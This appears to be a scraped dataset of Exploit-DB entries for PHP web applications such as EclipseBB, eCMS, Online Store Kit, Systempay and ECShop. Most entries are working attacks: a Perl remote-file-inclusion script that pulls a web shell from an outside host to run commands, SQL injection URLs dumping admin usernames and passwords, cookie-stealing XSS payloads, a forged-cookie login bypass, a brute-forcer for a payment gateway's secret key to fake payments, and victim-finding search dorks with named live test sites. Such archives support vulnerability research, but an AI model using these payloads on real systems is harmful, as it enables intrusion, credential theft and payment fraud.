deardaniel/secdata-raw huggingface dataset:
Exploit-DB #3214
Description: EclipseBB 0.5.0 Lite - 'phpbb_root_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-28
Author: Mehmet Ince

Exploit:
#(C) xoron
#
# [Bug name: EclipseBB 0.5.0 Lite (phpbb_root_path) Remote File Include Exploit
#
# [Script Name: EclipseBB 0.5.0 Lite
#
# [Wrong Codes:  require($phpbb_root_path . 'includes/bbcode.'.$phpEx);
#
$rfi = "functions.php?phpbb_root_path="; 
$path = "/includes/";
$shell = "http://pang0.by.ru/shall/pang057.zz?cmd=";
print "Language: English // Turkish\nPlz Select Lang:\n"; $dil = <STDIN>; chop($dil);
if($dil eq "English"){
print "(c) Mackrulz\n";
&ex;
}
elsif($dil eq "Turkish"){
print "Kodlayan xoron\n";
&ex;
}
else {print "Plz Select Languge\n"; exit;}
sub ex{
$not = "Victim is Not Vunl.\n" and $not_cmd = "Victim is Vunl but Not doing Exec.\n"
and $vic = "Victim Addres? with start http:// :" and $thx = "Greetz " and $diz = "Dictionary?:" and $komt = "Command?:"
if $dil eq "English";
$not = "Adreste RFI acigi Yok\n" and $not_cmd = "Adresde Ac.k Var Fakat Kod Calismiyor\n"
and $vic = "Ornek Adres http:// ile baslayan:" and $diz = "Dizin?: " and $thx = "Tesekkurler " and $komt = "Command?:"
if $dil eq "Turkish";
print "$vic";
$victim = <STDIN>;
chop($victim);
print "$diz";
$dizn = <STDIN>;
chop($dizn);
$dizin = $dizn;
$dizin = "/" if !$dizn;
print "$komt";
$cmd = <STDIN>;
chop($cmd);
$cmmd = $cmd;
$cmmd = "dir" if !$cmd;
$site = $victim;
$site = "http://$victim" if !($victim =~ /http/);
$acacaz = "$site$dizin$rfi$shell$cmmd";
print "(c) xoron - xoron.biz\n$thx: pang0, chaos\n";
sleep 3;
system("start $acacaz");
}

# milw0rm.com [2007-01-28]
Exploit-DB #31813
Description: eCMS 0.4.2 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2008-05-20
Author: hadihadi

Exploit:
source: https://www.securityfocus.com/bid/29304/info

eCMS is prone to multiple security vulnerabilities, including a security-bypass issue and an SQL-injection issue.

Exploiting these issues may allow an attacker to bypass certain security restrictions and gain unauthorized access to the application. The attacker can also exploit the SQL-injection issue by manipulating the SQL query logic to carry out unauthorized actions on the underlying database. This will compromise the application and may aid in further attacks.

These issues affect eCMS 0.4.2; other versions may also be affected. 

http://www.example.com/index.php?p='/**/union/**/select/**/1,concat(username,0x3a,char(58),password),3,4,5,6/**/from/**/members/**/where/**/id=1/*
http://www.example.com/index.php?p='/**/union/**/select/**/1,concat(username,0x3a,char(58),password),3,4,5,6/**/from/**/members/*

The following proof-of-concept JavaScript code to create a cookie is available for the security-bypass issue:

javascript:document.cookie = "pass=1; path=/";
Exploit-DB #5656
Description: eCMS 0.4.2 - SQL Injection / Security Bypass
Type: webapps
Platform: php
Date: 2008-05-20
Author: Virangar Security

Exploit:
  #######################################################################################
  #                                                                                     #
  #         ...::::eCMS-v0.4.2 (SQL/PB) Multiple Remote Vulnerabilities  ::::...        #          
  #######################################################################################

Virangar Security Team

www.virangar.net

--------
Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal)
-----
1.sql injection:
-------vuln codes in:-----------
index.php:
line 52:$p = $_GET['p']
..
..
line 55:$query = "SELECT * FROM files WHERE cat = '$p' ORDER BY date DESC";
---
exploit:
http://site.com/[patch]/index.php?p='/**/union/**/select/**/1,concat(username,0x3a,char(58),password),3,4,5,6/**/from/**/members/**/where/**/id=1/*
or
http://site.com/[patch]/index.php?p='/**/union/**/select/**/1,concat(username,0x3a,char(58),password),3,4,5,6/**/from/**/members/*
#####################
2. Remote Permission Bypass Vulnerability(Insecure Cookie Handling ):
-------vuln codes in:-----------
editCss.php:

line 17:if(!isset($_COOKIE['pass']))
{
  echo('You\'re not allowed to come here! <a href=admin.php>Go back!</a>');
} else {
....
...
...
-------
/*
if the cookie didn't set for you, you can't allow to see this page..but if we do somethings :) such as :

javascript:document.cookie = "pass=1; path=/";

now the cookie is set for you, and you can allow to see the page and edit the CSS in file "style.css"
*/
exploit:
just open your browser and then type:
javascript:document.cookie = "pass=1; path=/";
now see the "editCss.php" and edit the cms CSS :D
-----
young iranian h4ck3rz

# milw0rm.com [2008-05-20]
Exploit-DB #33925
Description: ecoCMS 18.4.2010 - 'admin.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-05-18
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/39901/info

ecoCMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

ecoCMS 18.04.2010 is vulnerable; prior versions may also be affected. 

http://www.example.com/admin.php?p=1%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
Exploit-DB #42151
Description: eCom Cart 1.3 - SQL Injection
Type: webapps
Platform: php
Date: 2017-06-10
Author: Alperen Eymen Ozcan

Exploit:
# Exploit Title: eCom Cart 1.3 Exploit
# Google Dork: inurl:"/pdetails/11" ([11] is variable)
# Date: 10.06.2017
# Exploit Author: Alperen Eymen Ozcan & Batuhan Camci
# Vendor Homepage: https://codecanyon.net/item/ecom-cart-a-php-shopping-cart-with-blog/13731007
# Software Link: https://codecanyon.net/item/ecom-cart-a-php-shopping-cart-with-blog/13731007
# Version: 1.3
# Tested on: Linux



$ curl http://localhost/ecom-cart/charge.php -d order_id=%271

Fatal error: Uncaught PDOException: SQLSTATE[42000]: Syntax error or access
violation: 1064 You have an error in your SQL syntax; check the manual
that corresponds to your MariaDB server version for the right syntax
to use near '1'' at line 1 in
/customers/4/4/9/lobisdev.one/httpd.www/ecom-cart/charge.php:16
Stack trace:
#0 /customers/4/4/9/lobisdev.one/httpd.www/ecom-cart/charge.php(16):
PDO->query('SELECT * FROM 3...')
#1 {main}
  thrown in /customers/4/4/9/lobisdev.one/httpd.www/ecom-cart/charge.php
on line 16

$ sqlmap -u "http://www.lobisdev.one/ecom-cart/charge.php' --data=order_id=1 --dbs
Exploit-DB #23720
Description: eCommerce Corporation Online Store Kit 3.0 - 'listing.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2004-02-18
Author: G00db0y

Exploit:
source: https://www.securityfocus.com/bid/9687/info
  
It has been reported that Online Store Kit is prone to multiple SQL injection vulnerabilities. These issues arise due to insufficient sanitation of user-supplied input via the URI.
  
As a result of this a malicious user may influence database queries in order to view or modify sensitive information, potentially compromising the software or the database. It has been reported that an attacker may be able to disclose the administrator password hash by exploiting this issue.

http://www.example.com/directory/listing.php?id=[query]
Exploit-DB #23712
Description: eCommerce Corporation Online Store Kit 3.0 - 'More.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-02-17
Author: David Sopas Ferreira

Exploit:
source: https://www.securityfocus.com/bid/9676/info
 
Multiple vulnerabilities have been identified in the software due to improper sanitization of user-supplied input. Successful exploitation of these issues could allow an attacker to carry out cross-site scripting and SQL injection attacks via the 'id' parameter of 'more.php' script.
 
Online Store Kit version 3.0 has been reported to be prone to these issues.

more.php?id=%3Cscript%3Ealert(document.domain);%3C/script%3E&
Exploit-DB #23711
Description: eCommerce Corporation Online Store Kit 3.0 - 'More.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2003-02-17
Author: David Sopas Ferreira

Exploit:
source: https://www.securityfocus.com/bid/9676/info

Multiple vulnerabilities have been identified in the software due to improper sanitization of user-supplied input. Successful exploitation of these issues could allow an attacker to carry out cross-site scripting and SQL injection attacks via the 'id' parameter of 'more.php' script.

Online Store Kit version 3.0 has been reported to be prone to these issues.

more.php?id='[SQL injection here]&
Exploit-DB #23718
Description: eCommerce Corporation Online Store Kit 3.0 - 'shop.php?cat' SQL Injection
Type: webapps
Platform: php
Date: 2004-02-18
Author: G00db0y

Exploit:
source: https://www.securityfocus.com/bid/9687/info

It has been reported that Online Store Kit is prone to multiple SQL injection vulnerabilities. These issues arise due to insufficient sanitation of user-supplied input via the URI.

As a result of this a malicious user may influence database queries in order to view or modify sensitive information, potentially compromising the software or the database. It has been reported that an attacker may be able to disclose the administrator password hash by exploiting this issue.

http://www.example.com/directory/shop.php?cat=[query]
Exploit-DB #23719
Description: eCommerce Corporation Online Store Kit 3.0 - 'shop_by_brand.php?cat_manufacturer' SQL Injection
Type: webapps
Platform: php
Date: 2004-02-18
Author: G00db0y

Exploit:
source: https://www.securityfocus.com/bid/9687/info
 
It has been reported that Online Store Kit is prone to multiple SQL injection vulnerabilities. These issues arise due to insufficient sanitation of user-supplied input via the URI.
 
As a result of this a malicious user may influence database queries in order to view or modify sensitive information, potentially compromising the software or the database. It has been reported that an attacker may be able to disclose the administrator password hash by exploiting this issue.

http://www.example.com/directory/lite/shop_by_brand.php?cat_manufacturer=[query]
Exploit-DB #48017
Description: Ecommerce Systempay 1.0 - Production KEY Brute Force
Type: webapps
Platform: php
Date: 2020-02-06
Author: live3

Exploit:
# Exploit Title: Ecommerce Systempay 1.0 - Production KEY Brute Force
# Author: live3
# Date: 2020-02-05
# Vendor Homepage: https://paiement.systempay.fr/doc/fr-FR/
# Software Link: https://paiement.systempay.fr/doc/fr-FR/module-de-paiement-gratuit/
# Tested on: MacOs
# Version: ALL

<?php
/**
 * 
 * INFORMATION
 * Exploit Title:        Ecommerce Systempay decode secret production KEY / Brute Force
 * Author:               live3
 * Date:                 2020-02-05
 * Vendor Homepage:      https://paiement.systempay.fr/doc/fr-FR/
 * Tested on:            MacOs
 * Version:              ALL
 * Prerequisite:         Find a ecommerce who is using Systempay AND SHA1 to crypt signature. 
 * Put some product on cart and choose systempay for payment method.
 * get all data from post sent to https://paiement.systempay.fr/vads-payment/
 * keep signature as reference and all vads fields to create new signature.
 * Use script to make a brute force on Secret product key (16 char length)
 *
 * Usage: Once you have the production KEY all modifications on form data will be accepted by systempay ! (You will just generate new signature with your changes)
 * You will be able to generate a success payment return !
 *
 * FOR EDUCATIONAL PURPOSES ONLY. DO NOT USE THIS SCRIPT FOR ILLEGAL ACTIVITIES.
 * THE AUTHOR IS NOT RESPONSIBLE FOR ANY MISUSE OR DAMAGE.
 * 
 */

// Set the start number you want (16 char length)
$last_key_check = '[PII_REDACTED]';

// Assign var
$array_key = array();
$sentence = '';
$how_many_key_to_check_for_loop = 10;

// Put here signature extract from POST DATA
// Example of SHA1 from string : test
$signature_from_post = 'a94a8fe5ccb19ba61c4c0873d391e987982fbbd3';

// Copy paste your content decoded of POST DATA
$form_data = '
vads_field_1: VALUE1
vads_field_2: VALUE2
// AND ALL OTHER FIELDS...
';

$array = explode(PHP_EOL, $form_data);

foreach ($array as $data) {
    if ($data != '') {
        $elements = explode(': ', $data);
        if (!empty($elements)) {
            $array_key[trim($elements[0])] = $elements[1];
        }
    }
}

ksort($array_key);

foreach ($array_key as $value) {
    $sentence .= $value . '+';
}


echo 'Signature from POST DATA : '.$signature_from_post.'<br/>';

$found = false;
$get_key = '';

// first check
if (sha1($sentence.$last_key_check) != $signature_from_post) {
    for ($i = $last_key_check; $i <= $last_key_check+$how_many_key_to_check_for_loop; $i++) {
        $get_key = $i;
        if (sha1($sentence.$i) == $signature_from_post) {
            echo 'Key found : '.$i.'<br/>';
            $found = true;
            break;
        }
    }
} else {
    $found = true;
}


if ($found) {
    $test_sha = sha1($sentence.$get_key);
    echo 'Signature calc : '.$test_sha.'<br/><hr/>';
} else {
    echo 'Last key check : '.$get_key.'<br/><hr/>';
}


echo 'Your sequence : '.$sentence.'<br/>';
Exploit-DB #41038
Description: ECommerce-Multi-Vendor Software - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2017-01-11
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability:(Profile) Arbitrary Shell Upload
# Google Dork: ECommerce-Multi-Vendor Software
# Date:11.01.2017
# Vendor Homepage: http://www.tibsolutions.com/multi-vendor/
# Script Name: ECommerce-Multi-Vendor Software
# Script Buy Now: http://www.tibsolutions.com/multi-vendor/
# Author: İhsan Şencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # # 
#Exploit :
#Register in site ... and login 
#Goto profil
#Empty file .htaccess and Shell.php...
Exploit-DB #41037
Description: ECommerce-TIBSECART - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2017-01-11
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability:(Profile) Arbitrary Shell Upload
# Google Dork: ECommerce-TIBSECART
# Date:11.01.2017
# Vendor Homepage: http://www.tibsolutions.com/tibs-ecart/
# Script Name: ECommerce-TIBSECART
# Script Buy Now: http://www.tibsolutions.com/tibs-ecart/
# Author: İhsan Şencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # # 
#Exploit :
#Register in site ... and login 
#Goto profil
#Empty file .htaccess and Shell.php...
Exploit-DB #38965
Description: ECommerceMajor - 'productdtl.php?prodid' SQL Injection
Type: webapps
Platform: php
Date: 2015-12-14
Author: Rahul Pratap Singh

Exploit:
#Exploit Title      : ECommerceMajor SQL Injection Vulnerability
#Exploit Author  : Rahul Pratap Singh
#Date                 : 13/Dec/2015
#Home page Link  : https://github.com/xlinkerz/ecommerceMajor
#Website            : 0x62626262.wordpress.com
#Linkedin : https://in.linkedin.com/in/rahulpratapsingh94

1. Description

"prodid" field in productdtl.php is not properly sanitized, that leads to
SQL Injection Vulnerability.

2. Vulnerable Code:

line 14 to 28

<?php
$getallproduct="select * from purchase where id=$_GET[prodid] order by id
desc";
$getallproductresult=mysql_query($getallproduct);
$getallproducttotal=mysql_num_rows($getallproductresult);

3. POC

http://127.0.0.1/ecommercemajor/productdtl.php?prodid=SQLI
Exploit-DB #51140
Description: Ecommerse v1.0 - Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2023-03-30
Author: nu11secur1ty

Exploit:
## Title: Ecommerse v1.0 - Cross-Site Scripting (XSS) 
## Author: nu11secur1ty
## Date: 11.23.2022
## Vendor: https://github.com/winston-dsouza
## Software: https://github.com/winston-dsouza/ecommerce-website
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/winston-dsouza/ecommerce-website

## Description:
The value of the eMail request parameter is copied into the value of
an HTML tag attribute which is encapsulated in double quotation marks.
The attacker can trick the users of this system, very easy to visit a
very dangerous link from anywhere, and then the game will over for
these customers.
Also, the attacker can create a network from botnet computers by using
this vulnerability.

## STATUS: HIGH Vulnerability - CRITICAL

[+] Exploit:

```POST
POST /ecommerce/index.php?error=If%20you%20lose%20your%20credentials%20information,%20please%20use%20our%20recovery%20webpage%20to%20recover%20your%20account.%20https://localhost
HTTP/1.1
Host: pwnedhost.com
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107
Safari/537.36
Connection: close
Cache-Control: max-age=0
Cookie: PHPSESSID=td6bitb72h0e1nuqa4ft9q8e2f
Origin: http://pwnedhost.com
Upgrade-Insecure-Requests: 1
Referer: http://pwnedhost.com/ecommerce/index.php
Content-Type: application/x-www-form-urlencoded
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="107", "Chromium";v="107"
Sec-CH-UA-Platform: Windows
Sec-CH-UA-Mobile: ?0
Content-Length: 0
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/winston-dsouza/ecommerce-website)

## Proof and Exploit:
[href](https://streamable.com/3r4t36)

-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html and https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>
Exploit-DB #12713
Description: eCreo - SQL Injection
Type: webapps
Platform: php
Date: 2010-05-23
Author: cyberlog

Exploit:
===============================================
eCreo SQL Injection Vulnerability
===============================================


               __                  __               
 .----..--.--.|  |--..-----..----.|  |.-----..-----.
 |  __||  |  ||  _  ||  -__||   _||  ||  _  ||  _  |
 |____||___  ||_____||_____||__|  |__||_____||___  |
       |_____|                               |_____|

####################################################
# eCreo SQL Injection Vulnerability
####################################################
# Vendor:http://www.ecreo.eu
# Discovered by : cyberlog
# Site          : Sekuritionline.net
# Channel       : #SekuritiOnline [ Now Just My Bot ] :P
# Dork          : "realizacja eCreo.eu"

# Exploit       : [site]/go.php?page=nr&nr=[SQL Injection]
                  
# Thanks        : r0073r,adhietslank, k1n9k0ng, cr4wl3r,cah_gemblunkz,
                  jayoes,thesims,setiawan,irvian,EA_Angel,BlueSpy,SoEy,A-technique,Jantap,KiLL,
                  SarifJedul,wiro gendeng,Letjen,ridho_bugs,Ryan Kabrutz,Mathews,aurel666,Inoef,dbanie

# special to Mama Sri Rahayu, Member& Staff Sekuritonline, C0li a.k.a antisecurity [ pinjem script perl-na ] :), 
# Inj3ct0r Now Brothers with Sekuritionline
                
####################################################
# Demo: 
# http://localhost/go.php?page=nr&nr=[SQL Injection]

####################################################

We never die !!!! indonesian Underground Community
!!!!! anjing buat oknum Pemerintah yang suka nilep uang rakyat !!!
!!!!! anjing juga buat admin site indon3sia yang merasa sok h3bat, dikasih tahu ada hole malah nyolot !!!!!

KacrUt I h@te U :P [ jika kau tidak mau aku katakan LOv3 ]
Give me NOCAN Brothers :P
am nt hacker just Lik3 Syst3m S3curity



                __                  __  __    __                __  __               
 .-----..-----.|  |--..--.--..----.|__||  |_ |__|.-----..-----.|  ||__|.-----..-----.
 |__ --||  -__||    < |  |  ||   _||  ||   _||  ||  _  ||     ||  ||  ||     ||  -__|
 |_____||_____||__|__||_____||__|  |__||____||__||_____||__|__||__||__||__|__||_____|
Exploit-DB #8548
Description: ECShop 2.5.0 - 'order_sn' SQL Injection
Type: webapps
Platform: php
Date: 2009-04-27
Author: Securitylab.ir

Exploit:
######################### Securitylab.ir ########################
# Application Info:
# Name: ECSHOP
# Version: 2.5.0
# Website: http://www.ecshop.com
#################################################################
# Discoverd By: Securitylab.ir
# Website: http://securitylab.ir
# Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir
#################################################################
# Vulnerability Info:
# Type: Sql Injection
# Risk: High
# Dork: "Powered by ECShop v2.5.0"
#===========================================================
# http://site.com/user.php?act=order_query&order_sn=' union select 1,2,3,4,5,6,concat(user_name,0x7c,password,0x7c,email),8 from ecs_admin_user/*
#===========================================================
#################################################################
# For test:
# http://www.lobang99.com/store
# http://www.amteore.com
# http://www.vostart.com/web/eng
#################################################################
# Securitylab Security Research Team
###################################################################

# milw0rm.com [2009-04-27]